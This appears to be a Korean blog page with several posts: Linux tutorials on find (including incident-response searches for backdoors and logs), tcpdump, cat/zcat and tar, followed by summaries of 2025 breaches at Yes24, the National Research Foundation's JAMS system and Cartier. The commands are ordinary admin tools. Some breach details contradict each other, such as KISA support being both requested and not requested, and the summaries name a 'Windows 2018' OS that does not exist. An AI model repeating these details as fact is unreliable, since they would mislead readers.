비정상적인 SUID/SGID 파일 검색:

# find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \;


최근 생성된 서비스 파일 검색:

# find /etc/init.d /etc/systemd -type f -mtime -7


숨겨진 실행 파일 검색:

# find / -type f -executable -name ".*"

이러한 명령어를 통해 공격자가 설치한 백도어나 지속성 메커니즘을 탐지할 수 있습니다.
 
6.3 로그 분석 및 증거 수집
침해사고 조사 과정에서 로그 파일 분석은 매우 중요합니다:
특정 기간의 로그 파일 수집:

# find /var/log -type f -mtime -7 -exec cp {} /evidence/logs/ \;


로그 파일에서 특정 IP 주소 검색:

# find /var/log -type f -name "*.log" -exec grep "악성_IP_주소" {} \;


변조된 로그 파일 탐지:

# find /var/log -type f -mtime -1 -size 0

이러한 명령어를 통해 침해사고와 관련된 로그를 효과적으로 수집하고 분석할 수 있습니다.
 
7. 성능 최적화 팁
find 명령어는 매우 강력하지만, 대규모 파일 시스템에서는 실행 시간이 길어질 수 있습니다. 다음은 성능을 최적화하는 몇 가지 팁입니다:
검색 범위 제한:

# find /specific/directory -name "*.log"


검색 깊이 제한:

# find / -maxdepth 3 -name "*.conf"


파일 시스템 유형 제한:

# find / -mount -name "*.tmp"


병렬 처리 활용:

# find / -type f -name "*.log" -print0 | xargs -0 -P 4 grep "error"

이러한 최적화 기법을 활용하면 find 명령어의 실행 시간을 크게 단축할 수 있습니다.
 
8. 결론
리눅스의 find 명령어는 단순한 파일 검색 도구를 넘어 시스템 관리, 보안 감사, 침해사고 분석 등 다양한 영역에서 활용할 수 있는 강력한 도구입니다. 기본적인 파일 검색부터 복잡한 조건을 활용한 고급 검색, 그리고 침해사고 분석을 위한 특수한 검색까지, find 명령어의 다양한 옵션과 표현식을 이해하고 활용하면 리눅스 시스템을 더욱 효과적으로 관리하고 보호할 수 있습니다.

특히 침해사고 분석에서는 find 명령어를 통해 비정상적인 파일이나 악성코드를 신속하게 탐지하고, 증거를 수집하는 데 큰 도움이 됩니다. 이 글에서 소개한 다양한 예제와 시나리오를 참고하여 자신의 환경에 맞게 응용한다면, 더욱 안전하고 효율적인 시스템 운영이 가능할 것입니다.

네트워크 트래픽 분석에 필수적인 tcpdump 명령어는 다양한 옵션과 필터를 통해 원하는 패킷만 빠르고 정확하게 캡처할 수 있습니다. 이 글에서는 자주 사용하는 옵션과, 실무에서 바로 적용할 수 있는 다양한 예제를 소개합니다.

◎ 자주 사용하는 tcpdump 옵션
아래는 tcpdump에서 가장 많이 쓰는 옵션과 설명입니다. 이 중 -n 옵션도 포함되어 있습니다.

옵션 설명
-i 인터페이스 특정 네트워크 인터페이스 지정
-n IP 주소를 호스트 이름으로 변환하지 않음
-nn IP 주소와 포트 모두 숫자로만 출력
-w 파일명  패킷을 파일로 저장 (pcap 형식)
-r 파일명 저장된 패킷 파일 읽기
-c 개수 지정한 개수만큼 패킷 캡처 후 종료
-v, -vv, -vvv 상세한 정보 출력 (v가 많을수록 더 자세함)
-t 타임스탬프 생략
-q 간략한 정보만 출력
-s 캡처할 패킷 크기 지정 (0: 전체)

 

◎ tcpdump 필터(조건) 문법
tcpdump는 다양한 필터를 조합하여 원하는 패킷만 캡처할 수 있습니다.

  • src/dst: 출발지/도착지 IP 지정
  • port: 특정 포트 지정
  • host: 특정 호스트(IP) 지정
  • net: 네트워크 대역 지정
  • tcp/udp: 프로토콜 지정
  • and, or, not: 조건 조합

 

◎ 실전 tcpdump 명령어 예제 (-nn -i 사용)
아래 예제는 모두 -nn -i 옵션을 사용하여, IP와 포트를 숫자로만 출력하고, 특정 인터페이스에서 패킷을 캡처하는 방법을 보여줍니다.

1. 기본 패킷 캡처

# tcpdump -nn -i eth0

eth0 인터페이스에서 패킷을 캡처하며, IP와 포트를 숫자로만 출력합니다.

2. 패킷을 파일로 저장

# tcpdump -nn -i eth0 -w capture.pcap

eth0 인터페이스의 패킷을 capture.pcap 파일로 저장하며, IP와 포트를 숫자로만 출력합니다.

3. 저장된 패킷 파일 읽기

# tcpdump -nn -r capture.pcap

저장된 pcap 파일의 패킷을 읽으며, IP와 포트를 숫자로만 출력합니다.

4. 특정 개수만큼 패킷 캡처

# tcpdump -nn -i eth0 -c 10

eth0 인터페이스에서 10개의 패킷만 캡처 후 종료하며, IP와 포트를 숫자로만 출력합니다.

5. 특정 포트(예: 80) 패킷 캡처

# tcpdump -nn -i eth0 port 80

eth0에서 80번 포트로 오가는 패킷만 캡처하며, IP와 포트를 숫자로만 출력합니다.

6. 출발지/도착지 IP로 패킷 캡처

# tcpdump -nn -i eth0 src 192.168.0.1

출발지 IP가 192.168.0.1인 패킷만 캡처하며, IP와 포트를 숫자로만 출력합니다.

# tcpdump -nn -i eth0 dst 192.168.0.1

도착지 IP가 192.168.0.1인 패킷만 캡처하며, IP와 포트를 숫자로만 출력합니다.

7. 특정 호스트(양방향) 패킷 캡처

# tcpdump -nn -i eth0 host 192.168.0.1

192.168.0.1로 들어오거나 나가는 모든 패킷을 캡처하며, IP와 포트를 숫자로만 출력합니다.

8. 프로토콜(TCP/UDP)로 필터링

# tcpdump -nn -i eth0 tcp

eth0에서 TCP 패킷만 캡처하며, IP와 포트를 숫자로만 출력합니다.

# tcpdump -nn -i eth0 udp

eth0에서 UDP 패킷만 캡처하며, IP와 포트를 숫자로만 출력합니다.

 

9. 캡처할 패킷 크기 지정

# tcpdump -nn -i eth0 -s 100

-s 옵션의 숫자는 바이트 단위로 해석됩니다. 즉, 패킷에서 최대 100바이트까지 캡처합니다.
이 옵션을 생략하면 시스템 기본값(보통 65535 또는 262144 바이트 등)이 적용되며,

-s 0으로 지정하면 패킷 전체(즉, 최대 길이)를 캡처합니다. 


10. 여러 조건 조합

# tcpdump -nn -i eth0 'src 192.168.0.1 and (dst port 3389 or 22)'

출발지 IP가 192.168.0.1이고, 도착지 포트가 3389 또는 22인 패킷만 캡처하며, IP와 포트를 숫자로만 출력합니다.

11. 상세 정보 출력

# tcpdump -nn -i eth0 -vvv port 80

eth0에서 80번 포트로 오가는 패킷을 매우 상세하게 출력하며, IP와 포트를 숫자로만 출력합니다.

◎ 요약 및 활용 팁
-n: IP만 숫자로 출력
-nn: IP와 포트 모두 숫자로 출력
-i: 인터페이스 지정
실무 활용: 네트워크 트러블슈팅, 보안 감사, 통신 테스트 등 다양한 상황에서 유용하게 사용할 수 있습니다.

◎ 마무리

이 글이 tcpdump 명령어의 옵션과 활용법을 더 쉽게 이해하는 데 도움이 되길 바랍니다!
관련하여 find, ls, grep 등 명령줄 도구 활용에도 관심이 많으시다면, 시스템 관리와 네트워크 분석에 더욱 능숙해질 수 있습니다.


리눅스에서 파일의 내용을 빠르게 확인하거나, 압축된 파일을 바로 읽고 싶을 때 자주 사용하는 명령어가 바로 cat과 zcat입니다. 이 글에서는 두 명령어의 차이와 자주 쓰는 명령어, 다양한 예제를 소개합니다.

◎ cat 명령어란?
cat(concatenate)은 파일의 내용을 화면에 출력하거나, 여러 파일을 하나로 합칠 때 사용하는 기본 명령어입니다. 리눅스/유닉스에서 가장 많이 배우는 명령 중 하나로, 파일 생성, 내용 확인, 파일 합치기 등 다양한 용도로 활용됩니다.

◎ 자주 사용하는 cat 옵션

옵션 설명
-n 줄 번호 표시(빈 줄 포함)
-b 줄 번호 표시(빈 줄 제외)
-E 줄 끝에 $ 표시
-T 탭 문자를 ^I로 표시
-s 연속된 빈 줄을 한 줄로 압축
-v 비출력 문자 출력(줄 바꿈, 탭 제외)
-A -vET 옵션을 동시에 적용

 

◎ cat 명령어 기본 예제
1. 파일 내용 출력

# cat file.txt

특정 파일의 내용을 화면에 출력합니다.

2. 여러 파일 내용 출력

# cat file1.txt file2.txt

여러 파일의 내용을 순서대로 출력합니다.

3. 파일 생성

# cat > newfile.txt

입력한 내용을 newfile.txt로 저장합니다(입력 종료: Ctrl+D).

4. 파일 추가

# cat >> existing.txt

입력한 내용을 기존 파일의 끝에 추가합니다.

5. 파일 합치기

# cat file1.txt file2.txt > merged.txt

여러 파일을 하나로 합쳐서 새로운 파일로 저장합니다.

6. 줄 번호 표시

# cat -n file.txt

각 줄에 번호를 붙여서 출력합니다.

7. 파일 내용 필터링

# cat file.txt | grep "keyword"

파일 내용에서 특정 키워드가 있는 줄만 출력합니다.

8. 페이지 단위로 출력

# cat longfile.txt | less
# cat longfile.txt | more

긴 파일 내용을 페이지 단위로 출력합니다.

◎ zcat 명령어란?
zcat은 gzip으로 압축된 파일(.gz)의 내용을 압축을 풀지 않고 바로 화면에 출력하는 명령어입니다. cat과 유사하게 동작하지만, 압축 파일을 다룰 수 있다는 점이 다릅니다.
※ 참고: bzip2(.bz2) 압축 파일에는 bzcat, xz(.xz) 압축 파일에는 xzcat을 사용합니다.

◎ 자주 사용하는 zcat 옵션

옵션 설명
-f 파일이 gzip 형식이 아니더라도 강제로 처리
-h 도움말 표시
-V 버전 정보 표시
-l 압축 파일 정보(크기, 압축률 등) 출력

 

◎ zcat 명령어 기본 예제
1. 압축 파일 내용 출력

# zcat file.gz

압축된 파일의 내용을 화면에 출력합니다.

2. 여러 압축 파일 내용 출력

# zcat file1.gz file2.gz

여러 압축 파일의 내용을 순서대로 출력합니다.

3. 압축 파일 내용 필터링

# zcat log.gz | grep "ERROR"

압축된 파일에서 특정 키워드가 있는 줄만 출력합니다.

4. 페이지 단위로 출력

# zcat log.gz | less
# zcat log.gz | more

압축된 파일 내용을 페이지 단위로 출력합니다.

5. 압축 파일 정보 확인

# zcat -l file.gz

압축 파일의 크기, 압축률 등 정보를 출력합니다.

 실무에서 자주 쓰는 조합
파일 내용 확인:

# cat file.txt
# zcat file.gz


여러 파일 합치기:

# cat file1.txt file2.txt > merged.txt


파일 내용 필터링:

# cat file.txt | grep "keyword"
# zcat log.gz | grep "ERROR"


페이지 단위로 출력:

# cat longfile.txt | less
# zcat log.gz | less


파일 생성/추가:

# cat > newfile.txt
# cat >> existing.txt


압축 파일 정보 확인:

# zcat -l file.gz


◎ 요약
cat: 파일 내용 확인, 파일 생성, 파일 합치기 등 다양한 용도로 사용하는 기본 명령어.
zcat: gzip 압축 파일의 내용을 압축 해제 없이 바로 확인할 수 있는 명령어.
실무 활용: 파일 내용 확인, 필터링, 페이지 단위 출력, 파일 합치기 등 다양한 상황에서 유용하게 사용할 수 있습니다.

리눅스에서 여러 파일이나 디렉터리를 하나로 묶거나 압축, 해제할 때 가장 많이 사용하는 명령어가 바로 tar입니다. 본 글에서는 tar 명령어의 기본 개념과 자주 쓰이는 옵션, 그리고 실무에서 바로 쓸 수 있는 다양한 예제를 소개합니다.

  tar 명령어란?
tar(Tape ARchiver)는 여러 파일과 디렉터리를 하나의 아카이브 파일로 묶거나, 반대로 풀 때 사용하는 명령어입니다. 원래는 테이프 백업을 위해 만들어진 도구지만, 현재는 파일 묶음(아카이브) 생성, 배포, 백업 등 다양한 용도로 활용되고 있습니다.

tar 자체는 파일 압축이 아니라, 여러 파일을 하나로 묶는 역할을 합니다. 하지만 gzip, bzip2 등과 조합해 압축 기능도 함께 사용할 수 있습니다.

  자주 사용하는 tar 옵션
아래 표는 tar 명령어에서 자주 사용하는 옵션과 설명입니다.

옵션 설명

옵션 설명
-c 새로운 아카이브 생성
-x 아카이브에서 파일 추출(풀기)
-v 처리 과정을 자세히 출력
-f 사용할 아카이브 파일명 지정
-z gzip 압축 사용(‘.tar.gz’, ‘.tgz’)
-j  bzip2 압축 사용(‘.tar.bz2’, ‘.tbz2’)
-t 아카이브 내용 확인
-C 파일을 풀 디렉터리 지정
-p 파일 권한 및 소유자 정보 유지
-A 아카이브에 tar 파일 추가
-r 아카이브 끝에 파일 추가
-u 변경된 파일만 추가

 

◎ tar 명령어 기본 예제
1. 파일/디렉터리 묶기
현재 디렉터리의 모든 파일과 디렉터리를 myarchive.tar로 묶기:

# tar cvf myarchive.tar *

 

특정 디렉터리(/home/user/data)를 아카이브로 묶기:

# tar cvf myarchive.tar /home/user/data 


특정 파일만 묶기:

# tar cvf myarchive.tar file1.txt file2.txt

 

2. 아카이브 풀기
현재 디렉터리에 아카이브 풀기:

# tar xvf myarchive.tar 


특정 디렉터리에 아카이브 풀기:

# tar xvf myarchive.tar -C /target/directory

 

3. 아카이브 내용 확인
아카이브 내 파일 목록 보기:

# tar tvf myarchive.tar

 

  압축과 함께 사용하는 tar 예제
1. gzip으로 압축
아카이브를 gzip으로 압축:

# tar zcvf myarchive.tar.gz /home/user/data


압축된 아카이브 풀기:

# tar zxvf myarchive.tar.gz

 

2. bzip2로 압축
아카이브를 bzip2로 압축:

# tar jcvf myarchive.tar.bz2 /home/user/data


압축된 아카이브 풀기:

# tar jxvf myarchive.tar.bz2 

 

  기타 유용한 예제
1. 파일 추가 및 업데이트
아카이브 끝에 파일 추가:

# tar rvf myarchive.tar newfile.txt


변경된 파일만 추가:

# tar uvf myarchive.tar updatedfile.txt 

 

2. 파일 권한 유지하며 풀기
권한 및 소유자 정보를 유지하며 아카이브 풀기:

# tar xvpf myarchive.tar

 

3. 아카이브에 tar 파일 추가
다른 tar 파일을 아카이브에 추가:

# tar -A -f myarchive.tar -f another.tar

 

  실무에서 자주 쓰는 조합
백업: tar cvf backup.tar /data
압축 백업: tar zcvf backup.tar.gz /data
특정 디렉터리에 복원: tar xvf backup.tar -C /restore
아카이브 내용 확인: tar tvf backup.tar
파일 추가: tar rvf backup.tar newfile.txt
변경된 파일만 추가: tar uvf backup.tar updatedfile.txt

  마무리
tar 명령어는 리눅스 시스템 관리에서 자주 사용하는 필수 도구입니다. 파일 묶기, 압축, 해제, 백업 등 다양한 용도로 활용할 수 있으니, 위 예제들을 참고해 실무에 바로 적용해 보세요.

1. 개요

  • 2025년 6월 9일 새벽 4시, 인터넷 서점 예스24가 랜섬웨어 공격을 받아 홈페이지 및 앱 서비스가 전면 중단되었습니다. 
  • 해커는 고객 데이터를 암호화하고 복호화 대가로 금전을 요구했으며, 예스24는 36시간 만인 6월 10일 사고를 공식 인정했습니다.
  • 6월 11일 인천경찰청은 수사에 착수했습니다.
  • 6월 11일 개인정보보호위원회는 개인정보 유출 여부 조사에 착수했습니다.
  • 6월 11일 오후 일부 공연 제작사의 공연 현장 입장처리 시스템이 복구되어 티켓 수령이 가능하다고 안내했습니다.
  • 6월 12일 오전 11시~11시30분 사이 한국인터넷진흥원(KISA)에 기술지원을 요청하여 KISA가 원인을 분석중이며, “원인 조사는 피해 확산, 재발 방지에 초점이 맞춰질 것”이라고 합니다.
  • 6월 13일 16시 40분경 일부 시스템(도서, 음반/DVD, 문구/GIFT 구매, 주문 결제, 1:1 문의, 티켓 서비스)을 복구하였습니다.

 
2. 피해범위

  • 서비스 중단: 도서 주문, 전자책 열람, 공연 티켓 예매 등 모든 온라인 서비스가 마비되었습니다.

 
3. 개인정보 유출 관련

  • 예스24는 "회원 아이디, 비밀번호, 주소, 결제정보 등 민감 정보가 유출되지 않았다"고  발표했습니다.
  • 랜섬웨어 공격으로 데이터가 암호화되었으나, 해커에 의해 외부로 유출된 정황은 없습니다.

 
4. 암호화된 데이터:

  • 해커가 주문 내역, 공연 예매 기록 등을 암호화했으나, 복호화되지 않은 상태로 예스24가 보유 중 입니다.

 
5. 원인

  • 랜섬웨어 공격: 해커가 시스템 취약점을 악용해 데이터를 암호화하고 금전을 요구했습니다.
  • 보안 관리 소홀: 실시간 모니터링 미흡 및 백업 시스템 결함(로컬 백업 의존) 등 내부 보안 체계 미흡이 주원인으로 지적되었습니다.

 
6. 대응

  • 긴급 조치: 한국인터넷진흥원(KISA) 신고, 보안 강화, 암호화 데이터 복구 시도.
  • 고객 안내: 6월 10일 사과문 공개 및 보상안 마련 발표 (서비스 복구 후 개별 안내 예정).
  • 복구 작업: 부분적 서비스 재개를 목표로 시스템 복구 진행.
  • 경찰 수사: 인천경찰청 사이버범죄수사대가 6월 11일 입건 전 조사 시작.

 
7. 문제점

  • 법적 위반: 정보통신망법상 24시간 내 신고 의무를 미준수하였습니다.
  • 초동 대응 미흡: 사고 발생 36시간 후에야 해킹 사실을 공개해 신고 의무(24시간) 위반 논란이 제기되었습니다.
  • 초기 은폐 시도: 6월 9일 "시스템 점검"으로 공지하다가 6월 10일 해킹 사실을 인정했습니다.
  • 보상 체계 미비: 구체적 보상 기준 없이 "피해 범위별 보상안"만 언급해 이용자 불만이 발생했습니다.
  • 랜섬웨어 대비 부재: 데이터 분리 백업 및 암호화 예방 솔루션 미적용으로 피해가 확대되었습니다.
  • KISA 기술 지원 거부: 한국인터넷진흥원(KISA)에 기술적 대응 지원은 요청하지 않았습니다.
  • 거짓말 논란: 권민석 최고보안책임자 및 관련 부서가 KISA와 협력해 원인 분석 및 복구 작업에 총력을 다하고 있다고 발표하였으나 KISA는 예스24 거짓말에 "기술 지원 협력 없었다"고 정면 반박했습니다.
  • 서버 OS로 기술지원이 종료되어 보안 패치가 더 이상 지원되지 않는  윈도 2012, 윈도 2018 운영체제를 사용한 것으로 확인되었습니다.
  • "백업 완료" 예스24 해명은 거짓이었으며, 해커들에 비트코인을 주고 해결한 것으로 알려졌습니다.

1. 개요

  • 2025년 6월 6일, 한국연구재단의 논문투고시스템(JAMS)이 중국발 미국 우회 IP를 통한 해킹 공격을 받았습니다. 
  • 공격자는 URL 파라미터 변조 기법으로 임시 비밀번호 재설정을 시도했으며, 12만명의 개인정보 유출이 발생하였습니다. 
  • 재단은 6월 7일 취약점을 개선하고 회원들에게 공지를 진행했습니다.
  • 2025.06.13 개인정보보호위원회, 한국연구재단 개인정보 유출 신고 조사 착수
  • 2025.06.23 대전경찰청 사이버범죄수사대, 해킹 공격 관련 침입 로그 분석 IP 추적 등 수사 착수

 

2. 피해범위

  • 16만 건의 비밀번호 초기화 시도 중 6만 건이 성공해 임시 비밀번호 발급 메일이 전송되었습니다.
  • 12만여명의 개인정보가 유출되었습니다.

 

3. 유출항목

  • 유출된 개인 정보는 연구자 12여만명의 생년월일, 연락처, ID, 성명, e메일 주소입니다.

 

4. 원인

  • 시스템 취약점: JAMS의 URL 파라미터 변조 취약점이 악용되었습니다.
  • 제3자 관리 소홀: 외부 IP 차단 및 다중 인증(2FA) 미적용 등 보안 체계 미흡이 지적되었습니다.

 

5. 대응

  • 즉시 조치: 시스템 접근 차단, 취약점 패치 완료(6월 7일).
  • 회원 안내: 홈페이지 및 이메일을 통해 해킹 시도 사실과 보안 조치 결과를 공지했습니다.
  • 기관 협력: 한국인터넷진흥원(KISA)과 협력해 추가 조사를 진행했습니다.

 

6. 문제점

  • 보안 인프라 취약: 학술지 심사 시스템의 보안 강화 필요성이 대두되었습니다.
  • 탐지 지연: 공격 발생 2일 후인 6월 6일에야 피해를 인지했습니다.
  • 제3자 리스크 관리: 외부 연구자 정보를 관리하는 시스템의 취약성이 노출되었습니다.
  • 연구자 불안감 증대: 2023년 직원 실수로 1,596명 정보 유출 사례와 달리 이번에는 해킹 시도로 인한 신뢰도 하락이 우려되었습니다.

1. 개요

  • 2025년 6월 3일, 프랑스 명품 브랜드 까르띠에는 외부 해커의 시스템 침입으로 고객 개인정보가 유출되었음을 공식 확인했습니다. 
  • 권한 없는 제3자가 시스템에 일시적으로 접근해 데이터를 탈취한 것으로, 유출 사실은 고객 이메일과 홈페이지 공지를 통해 발표되었습니다. 
  • 이 사고는 디올·티파니에 이어 명품 업계에서 연이은 보안 취약성을 드러낸 사례로 주목받았습니다.

 

2. 피해범위

  • 글로벌 고객을 중심으로 유출되었으며, 정확한 피해자 수는 공개되지 않았습니다.
  • 온라인·오프라인 구매자 모두 영향을 받았으며, 특히 VIP 고객의 직업·구매 제품 정보 등 민감 데이터 유출 가능성이 제기되었습니다.

 

3. 유출항목

  • 기본 정보: 이름, 이메일 주소, 국가, 생년월일.
  • 구매 정보: 구매 상품 고유번호, 선호 제품.
  • 미유출 항목: 비밀번호, 신용카드 정보, 은행 계좌 등 금융 데이터는 포함되지 않았습니다.

 

4. 원인

  • 시스템 보안 취약점: 외부 해커가 까르띠에 시스템의 취약점을 악용해 침입했습니다.
  • 제3자 관리 소홀: 고객 관리 서비스 외주업체의 보안 미흡이 원인으로 지적되었습니다.
  • 탐지 지연: 침해 발생 시점을 정확히 파악하지 못해 신속한 대응이 이뤄지지 않았습니다.

 

5. 대응

  • 즉시 조치: 유출 경로 차단, 시스템 보안 강화, 외부 사이버 보안 전문가와 협력해 조사 진행.
  • 고객 통지: 6월 3일 이메일을 통해 유출 사실을 알렸으나, 홈페이지 공지는 이뤄지지 않아 논란이 되었습니다.
  • 기관 신고: 개인정보보호위원회에 사고를 신고하고 관련 당국과 협조했습니다.

 

6. 문제점

  • 늑장 대응: 디올·티파니 사고 이후에도 동일한 유형의 보안 취약점이 개선되지 않아 연쇄 피해가 발생했습니다.
  • 민감정보 노출: VIP 고객의 구매 이력·직업 등이 유출되며 표적형 피싱·스미싱 우려가 커졌습니다.
  • 투명성 부족: 금융정보 미유출을 강조했으나, 구체적 유출 규모와 원인을 명확히 공개하지 않아 신뢰도가 하락했습니다.
  • 법적 위반 리스크: 개인정보보호법 및 정보통신망법 위반 여부를 두고 개인정보보호위원회의 조사가 진행 중입니다.

+ Recent posts